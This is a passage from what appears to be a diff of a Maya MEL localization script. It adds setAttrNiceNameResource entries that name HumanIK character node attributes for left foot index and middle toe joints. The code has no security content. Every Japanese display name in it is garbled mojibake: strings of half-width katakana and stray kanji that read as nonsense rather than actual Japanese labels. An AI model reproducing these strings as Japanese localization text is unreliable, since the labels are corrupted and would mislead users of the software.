"LeftFootIndex2JointOrientz", "ラスナカヨコ 2 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2MinRLimit", "ラスナカヨコ 2 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2MinRLimitx", "ラスナカヨコ 2 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2MinRLimity", "ラスナカヨコ 2 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2MinRLimitz", "ラスナカヨコ 2 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2MaxRLimit", "ラスナカヨコ 2 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2MaxRLimitx", "ラスナカヨコ 2 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2MaxRLimity", "ラスナカヨコ 2 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2MaxRLimitz", "ラスナカヨコ 2 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2MinRLimitEnablex", "ニモテラスナカヨコ 2 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2MinRLimitEnabley", "ニモテラスナカヨコ 2 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2MinRLimitEnablez", "ニモテラスナカヨコ 2 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2MaxRLimitEnablex", "ニモテラスナカヨコ 2 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2MaxRLimitEnabley", "ニモテラスナカヨコ 2 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2MaxRLimitEnablez", "ニモテラスナカヨコ 2 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3", "ラスナカヨコ 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3T", "ラスナカヨコ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3Tx", "ラスナカヨコ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3Ty", "ラスナカヨコ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3Tz", "ラスナカヨコ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3R", "ラスナカヨコ 3 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3Rx", "ラスナカヨコ 3 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3Ry", "ラスナカヨコ 3 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3Rz", "ラスナカヨコ 3 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3S", "ラスナカヨコ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3Sx", "ラスナカヨコ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3Sy", "ラスナカヨコ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3Sz", "ラスナカヨコ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3RotateOrder", "ラスナカヨコ 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3RotateAxis", "ラスナカヨコ 3 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3RotateAxisx", "ラスナカヨコ 3 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3RotateAxisy", "ラスナカヨコ 3 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3RotateAxisz", "ラスナカヨコ 3 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3JointOrient", "ラスナカヨコ 3 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3JointOrientx", "ラスナカヨコ 3 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3JointOrienty", "ラスナカヨコ 3 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3JointOrientz", "ラスナカヨコ 3 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3MinRLimit", "ラスナカヨコ 3 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3MinRLimitx", "ラスナカヨコ 3 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3MinRLimity", "ラスナカヨコ 3 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3MinRLimitz", "ラスナカヨコ 3 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3MaxRLimit", "ラスナカヨコ 3 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3MaxRLimitx", "ラスナカヨコ 3 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3MaxRLimity", "ラスナカヨコ 3 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3MaxRLimitz", "ラスナカヨコ 3 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3MinRLimitEnablex", "ニモテラスナカヨコ 3 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3MinRLimitEnabley", "ニモテラスナカヨコ 3 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3MinRLimitEnablez", "ニモテラスナカヨコ 3 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3MaxRLimitEnablex", "ニモテラスナカヨコ 3 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3MaxRLimitEnabley", "ニモテラスナカヨコ 3 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3MaxRLimitEnablez", "ニモテラスナカヨコ 3 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4", "ラスナカヨコ 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4T", "ラスナカヨコ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4Tx", "ラスナカヨコ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4Ty", "ラスナカヨコ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4Tz", "ラスナカヨコ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4R", "ラスナカヨコ 4 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4Rx", "ラスナカヨコ 4 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4Ry", "ラスナカヨコ 4 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4Rz", "ラスナカヨコ 4 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4S", "ラスナカヨコ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4Sx", "ラスナカヨコ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4Sy", "ラスナカヨコ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4Sz", "ラスナカヨコ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4RotateOrder", "ラスナカヨコ 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4RotateAxis", "ラスナカヨコ 4 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4RotateAxisx", "ラスナカヨコ 4 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4RotateAxisy", "ラスナカヨコ 4 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4RotateAxisz", "ラスナカヨコ 4 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4JointOrient", "ラスナカヨコ 4 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4JointOrientx", "ラスナカヨコ 4 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4JointOrienty", "ラスナカヨコ 4 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4JointOrientz", "ラスナカヨコ 4 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4MinRLimit", "ラスナカヨコ 4 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4MinRLimitx", "ラスナカヨコ 4 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4MinRLimity", "ラスナカヨコ 4 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4MinRLimitz", "ラスナカヨコ 4 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4MaxRLimit", "ラスナカヨコ 4 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4MaxRLimitx", "ラスナカヨコ 4 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4MaxRLimity", "ラスナカヨコ 4 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4MaxRLimitz", "ラスナカヨコ 4 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4MinRLimitEnablex", "ニモテラスナカヨコ 4 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4MinRLimitEnabley", "ニモテラスナカヨコ 4 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4MinRLimitEnablez", "ニモテラスナカヨコ 4 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4MaxRLimitEnablex", "ニモテラスナカヨコ 4 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4MaxRLimitEnabley", "ニモテラスナカヨコ 4 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4MaxRLimitEnablez", "ニモテラスナカヨコ 4 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1", "ラスナヨミヨコ 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1T", "ラスナヨミヨコ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1Tx", "ラスナヨミヨコ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1Ty", "ラスナヨミヨコ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1Tz", "ラスナヨミヨコ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1R", "ラスナヨミヨコ 1 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1Rx", "ラスナヨミヨコ 1 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1Ry", "ラスナヨミヨコ 1 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1Rz", "ラスナヨミヨコ 1 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1S", "ラスナヨミヨコ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1Sx", "ラスナヨミヨコ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1Sy", "ラスナヨミヨコ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1Sz", "ラスナヨミヨコ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1RotateOrder", "ラスナヨミヨコ 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1RotateAxis", "ラスナヨミヨコ 1 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1RotateAxisx", "ラスナヨミヨコ 1 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1RotateAxisy", "ラスナヨミヨコ 1 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1RotateAxisz", "ラスナヨミヨコ 1 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1JointOrient", "ラスナヨミヨコ 1 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1JointOrientx", "ラスナヨミヨコ 1 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1JointOrienty", "ラスナヨミヨコ 1 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1JointOrientz", "ラスナヨミヨコ 1 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1MinRLimit", "ラスナヨミヨコ 1 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1MinRLimitx", "ラスナヨミヨコ 1 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1MinRLimity", "ラスナヨミヨコ 1 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1MinRLimitz", "ラスナヨミヨコ 1 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1MaxRLimit", "ラスナヨミヨコ 1 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1MaxRLimitx", "ラスナヨミヨコ 1 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1MaxRLimity", "ラスナヨミヨコ 1 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1MaxRLimitz", "ラスナヨミヨコ 1 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1MinRLimitEnablex", "ニモテラスナヨミヨコ 1 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1MinRLimitEnabley", "ニモテラスナヨミヨコ 1 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1MinRLimitEnablez", "ニモテラスナヨミヨコ 1 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1MaxRLimitEnablex", "ニモテラスナヨミヨコ 1 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1MaxRLimitEnabley", "ニモテラスナヨミヨコ 1 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1MaxRLimitEnablez", "ニモテラスナヨミヨコ 1 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2", "ラスナヨミヨコ 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2T", "ラスナヨミヨコ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2Tx", "ラスナヨミヨコ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2Ty", "ラスナヨミヨコ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2Tz", "ラスナヨミヨコ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2R", "ラスナヨミヨコ 2 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2Rx", "ラスナヨミヨコ 2 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2Ry", "ラスナヨミヨコ 2 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2Rz", "ラスナヨミヨコ 2 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2S", "ラスナヨミヨコ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2Sx", "ラスナヨミヨコ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2Sy", "ラスナヨミヨコ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2Sz", "ラスナヨミヨコ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2RotateOrder", "ラスナヨミヨコ 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2RotateAxis", "ラスナヨミヨコ 2 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2RotateAxisx", "ラスナヨミヨコ 2 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2RotateAxisy", "ラスナヨミヨコ 2 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2RotateAxisz", "ラスナヨミヨコ 2 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2JointOrient", "ラスナヨミヨコ 2 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2JointOrientx", "ラスナヨミヨコ 2 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2JointOrienty", "ラスナヨミヨコ 2 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2JointOrientz", "ラスナヨミヨコ 2 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2MinRLimit", "ラスナヨミヨコ 2 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2MinRLimitx", "ラスナヨミヨコ 2 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2MinRLimity", "ラスナヨミヨコ 2 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2MinRLimitz", "ラスナヨミヨコ 2 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2MaxRLimit", "ラスナヨミヨコ 2 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2MaxRLimitx", "ラスナヨミヨコ 2 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2MaxRLimity", "ラスナヨミヨコ 2 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2MaxRLimitz", "ラスナヨミヨコ 2 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2MinRLimitEnablex", "ニモテラスナヨミヨコ 2 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2MinRLimitEnabley", "ニモテラスナヨミヨコ 2 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2MinRLimitEnablez", "ニモテラスナヨミヨコ 2 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2MaxRLimitEnablex", "ニモテラスナヨミヨコ 2 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2MaxRLimitEnabley", "ニモテラスナヨミヨコ 2 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2MaxRLimitEnablez", "ニモテラスナヨミヨコ 2 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3", "ラスナヨミヨコ 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3T", "ラスナヨミヨコ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3Tx", "ラスナヨミヨコ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3Ty", "ラスナヨミヨコ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3Tz", "ラスナヨミヨコ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3R", "ラスナヨミヨコ 3 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3Rx", "ラスナヨミヨコ 3 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3Ry", "ラスナヨミヨコ 3 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3Rz", "ラスナヨミヨコ 3 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3S", "ラスナヨミヨコ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3Sx", "ラスナヨミヨコ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3Sy", "ラスナヨミヨコ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3Sz", "ラスナヨミヨコ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3RotateOrder", "ラスナヨミヨコ 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3RotateAxis", "ラスナヨミヨコ 3 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3RotateAxisx", "ラスナヨミヨコ 3 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3RotateAxisy", "ラスナヨミヨコ 3 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3RotateAxisz", "ラスナヨミヨコ 3 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3JointOrient", "ラスナヨミヨコ 3 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3JointOrientx", "ラスナヨミヨコ 3 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3JointOrienty", "ラスナヨミヨコ 3 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3JointOrientz", "ラスナヨミヨコ 3 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3MinRLimit", "ラスナヨミヨコ 3 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3MinRLimitx", "ラスナヨミヨコ 3 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3MinRLimity", "ラスナヨミヨコ 3 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3MinRLimitz", "ラスナヨミヨコ 3 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3MaxRLimit", "ラスナヨミヨコ 3 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3MaxRLimitx", "ラスナヨミヨコ 3 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3MaxRLimity", "ラスナヨミヨコ 3 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3MaxRLimitz", "ラスナヨミヨコ 3 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3MinRLimitEnablex", "ニモテラスナヨミヨコ 3 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3MinRLimitEnabley", "ニモテラスナヨミヨコ 3 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3MinRLimitEnablez", "ニモテラスナヨミヨコ 3 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3MaxRLimitEnablex", "ニモテラスナヨミヨコ 3 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3MaxRLimitEnabley", "ニモテラスナヨミヨコ 3 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3MaxRLimitEnablez", "ニモテラスナヨミヨコ 3 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4", "ラスナヨミヨコ 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4T", "ラスナヨミヨコ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4Tx", "ラスナヨミヨコ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4Ty", "ラスナヨミヨコ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4Tz", "ラスナヨミヨコ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4R", "ラスナヨミヨコ 4 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4Rx", "ラスナヨミヨコ 4 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4Ry", "ラスナヨミヨコ 4 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4Rz", "ラスナヨミヨコ 4 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4S", "ラスナヨミヨコ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4Sx", "ラスナヨミヨコ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4Sy", "ラスナヨミヨコ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4Sz", "ラスナヨミヨコ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4RotateOrder", "ラスナヨミヨコ 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4RotateAxis", "ラスナヨミヨコ 4 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4RotateAxisx", "ラスナヨミヨコ 4 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4RotateAxisy", "ラスナヨミヨコ 4 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4RotateAxisz", "ラスナヨミヨコ 4 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4JointOrient", "ラスナヨミヨコ 4 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4JointOrientx", "ラスナヨミヨコ 4 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", 